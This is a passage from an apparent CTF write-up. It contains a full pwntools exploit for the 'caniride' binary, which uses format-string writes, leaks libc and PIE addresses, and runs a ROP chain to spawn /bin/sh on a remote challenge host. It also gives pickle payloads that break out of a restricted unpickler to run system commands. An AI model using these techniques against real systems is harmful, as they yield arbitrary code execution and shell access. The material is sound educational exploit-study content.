context.arch = "amd64"


def build_payload(writes: dict, written=0) -> bytes:
    ws = sorted(writes.items(), key=lambda t: t[1])
    s = ""
    for offset, val in ws:
        assert val - written >= 0, "wtf"
        s += f"%{val - written}c"
        t = "hhn" if val - written < 256 else "hn"
        s += f"%{offset}${t}"
        written += val - written
    return s.encode()


elf = ELF("./caniride")
libc = ELF("./libc.so.6")

# io = gdb.debug(
#     "./caniride", "b sleep\ncommands\nreturn\nc\nend\nb *(main+533)\nb *(main+555)\nc"
# )
# io = gdb.debug(
#     "./caniride", "b *(main+533)\nb *(main+555)\nc"
# )
# io = process("./caniride")
io = remote("challs.actf.co", 31228)
# write fini_array back to main
payload = b"peko%143$16lxmiko"
payload += build_payload({16: 0x69}, 16 + 8)
io.sendlineafter(b"Name: ", payload)
io.sendlineafter(b"driver: ", b"-3")  # __dso_handle -> __dso_handle
io.recvuntil(b"Hi, this is ")
dso_handle = int.from_bytes(io.recvn(6), "little")
prog_base = dso_handle - elf.sym["__dso_handle"]
print(f"{prog_base = :#x}")
elf.address = prog_base
io.sendlineafter(b"yourself: ", flat([prog_base + 0x3300]))

io.recvuntil(b"peko")
libc_base = int(io.recvuntilS(b"miko")[:-4].strip(), 16) - 0x240B3
print(f"{libc_base = :#x}")
libc.address = libc_base
rop = ROP(libc)


# now back to main
exit_got = elf.got["exit"]
ret_0x80 = libc_base + 0x96F70
print(f"{ret_0x80 = :#x}")
rop.execve(next(libc.search(b"/bin/sh\0")), 0, 0)
payload = build_payload(
    {18: ret_0x80 & 0xFF, 19: (ret_0x80 >> 8) & 0xFF, 20: (ret_0x80 >> 16) & 0xFF}
)
io.sendlineafter(b"Name: ", payload)
io.sendlineafter(b"driver: ", b"0")
io.sendlineafter(
    b"yourself: ",
    (flat([0, 0, exit_got, exit_got + 1, exit_got + 2, 0]) + rop.chain()),
)

io.interactive()
# actf{h0llerin'_at_y0u_from_a_1977_mont3_car1o_a6ececa9966d}

Misc#

*Kevin Higgs#

This challenge was solved by splitline, but I found it interesting, so I recorded it.

#!/usr/local/bin/python3

import pickle
import io
import sys

module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "empty" and name.count(".") <= 1:
            return super().find_class(module, name)
        raise pickle.UnpicklingError("e-legal")


lepickle = bytes.fromhex(input("Enter hex-encoded pickle: "))
if len(lepickle) > 400:
    print("your pickle is too large for my taste >:(")
else:
    SafeUnpickler(io.BytesIO(lepickle)).load()

This challenge provides an empty module, allowing property access with at most one dot. The concept is to get empty.__class__.__base__.__subclasses__, similar to a pyjail.

However, this exceeds the name.count('.') limit. The solution is to use BUILD to assign things directly on empty, e.g., empty.x=empty.__class__.__base__, then access empty.x.__subclasses__.

For generating the payload, there's no need to do it manually. Using splitline's python to pickle compiler: Pickora, and using the macro to generate it is simple.

This is the original payload:

_empty = GLOBAL("empty", "empty")
_empty.base = GLOBAL("empty", "__class__.__base__")
_empty.classes = GLOBAL("empty", "base.__subclasses__")()
_empty.wrapclose = GLOBAL("empty", "classes.__getitem__")(138)
_empty.init = GLOBAL("empty", "wrapclose.__init__")
_empty.globals = GLOBAL("empty", "init.__globals__")
GLOBAL("empty", "globals.__getitem__")("system")("sh")

# actf{__i_miss_kmh11_pyjails__}

And this is my practice version, which is essentially the same but uses the last class, making it cross-version compatible:

e = GLOBAL("empty", "empty")
e.x = GLOBAL('empty','__class__.__base__')
e.x = GLOBAL('empty','x.__subclasses__')()
GLOBAL('empty','x.reverse')()
e.x = GLOBAL('empty','x.__getitem__')(0)  # _Unpickler
e.x = GLOBAL('empty','x.__init__')
e.x = GLOBAL('empty','x.__globals__')
e.x = GLOBAL('empty','x.__getitem__')('__builtins__')
e.x = GLOBAL('empty','x.__getitem__')('exec')('import os;os.system("cat /flag.txt")')

Additionally, the original challenge's empty.empty = empty is unnecessary. Recursive modules aren't needed. The key is using empty.__setattr__ to set attributes, resulting in this payload:

s = GLOBAL("empty", "__setattr__")
s("x", GLOBAL("empty", "__class__")("empty"))
s("x", GLOBAL("empty", "x.__class__"))
s("x", GLOBAL("empty", "x.__base__"))
s("x", GLOBAL("empty", "x.__subclasses__")())
GLOBAL("empty", "x.reverse")()
s("x", GLOBAL("empty", "x.__getitem__")(0))
s("x", GLOBAL("empty", "x.__init__"))
s("x", GLOBAL("empty", "x.__globals__"))
s("x", GLOBAL("empty", "x.__getitem__")("__builtins__"))
s("x", GLOBAL("empty", "x.__getitem__")("exec")('import os;os.system("cat /flag.txt")'))